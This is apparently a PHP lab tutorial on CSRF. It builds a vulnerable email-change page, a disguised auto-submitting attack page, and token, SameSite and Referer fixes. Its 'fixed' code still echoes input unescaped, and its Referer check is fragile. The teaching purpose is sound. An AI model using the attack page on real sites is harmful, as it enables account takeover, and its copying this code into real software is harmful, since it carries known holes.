Objective
Learn how to exploit Cross-Site Request Forgery (CSRF) vulnerabilities to perform unauthorized sensitive actions (e.g., changing account details or transferring funds) on behalf of an authenticated user. Understand how to mitigate these vulnerabilities using security best practices.
Scenario
You are testing a web application that allows users to change their email address without proper CSRF protection. An attacker can exploit this by crafting a malicious web page that, when visited by an authenticated user, changes the user’s account details without their consent.
Lab Setup
Prerequisites:
- Basic knowledge of PHP and web security.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- PHP Script for Changing Email (Vulnerable)
- Create a file
change_email.php
:<?php session_start(); if (!isset($_SESSION['user'])) { $_SESSION['user'] = 'alice'; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $new_email = $_POST['email']; echo "<h2>Email updated to: $new_email</h2>"; } ?> <h2>Change Email</h2> <form method="POST" action=""> New Email: <input type="email" name="email" required> <button type="submit">Update Email</button> </form>
- Create a file
- Running the Application
- Start the Apache server.
- Place
change_email.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/change_email.php
in your browser.
Exploitation Steps
Step 1: Crafting a Malicious CSRF Exploit
- Create a malicious HTML file
csrf_attack.html
:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Free Giveaway!</title> </head> <body> <h1>Click to claim your free prize!</h1> <img src="http://localhost/change_email.php" onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/change_email.php"> <input type="hidden" name="email" value="attacker@example.com"> </form> </body> </html>
- Host this file or open it locally in a browser where the victim is logged in.
Expected Result:
- The victim’s email is silently changed to
attacker@example.com
without their knowledge.
Solution and Prevention
Problem Analysis
- The application lacks CSRF protection, allowing unauthorized actions through crafted requests.
Fixing the Vulnerability
- Implement Anti-CSRF Tokens
- Modify
change_email.php
to include a CSRF token:<?php session_start(); if (!isset($_SESSION['token'])) { $_SESSION['token'] = bin2hex(random_bytes(32)); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (hash_equals($_SESSION['token'], $_POST['token'])) { $new_email = $_POST['email']; echo "<h2>Email updated to: $new_email</h2>"; } else { die("Invalid CSRF token."); } } ?> <h2>Change Email</h2> <form method="POST" action=""> New Email: <input type="email" name="email" required> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit">Update Email</button> </form>
- Modify
- Use SameSite Cookies
- Configure cookies to mitigate CSRF attacks:
setcookie("PHPSESSID", session_id(), [ 'samesite' => 'Strict', 'secure' => true, 'httponly' => true ]);
- Configure cookies to mitigate CSRF attacks:
- Validate the Referer Header
- Reject requests from untrusted sources:
if (strpos($_SERVER['HTTP_REFERER'], 'http://localhost') !== 0) { die("Invalid referer."); }
- Reject requests from untrusted sources:
Testing After Fix
- Reload
csrf_attack.html
after implementing the fix. - Expected Result:
- The CSRF attempt fails, and the email address is not updated.
- Attempt to submit the form without a valid CSRF token.
- Expected Result:
- The application rejects the request with an error message.
Conclusion
In this lab, you exploited a Cross-Site Request Forgery (CSRF) vulnerability by submitting unauthorized requests on behalf of a user. You also learned how to mitigate CSRF using anti-CSRF tokens, SameSite cookies, and referer validation.
0 Comments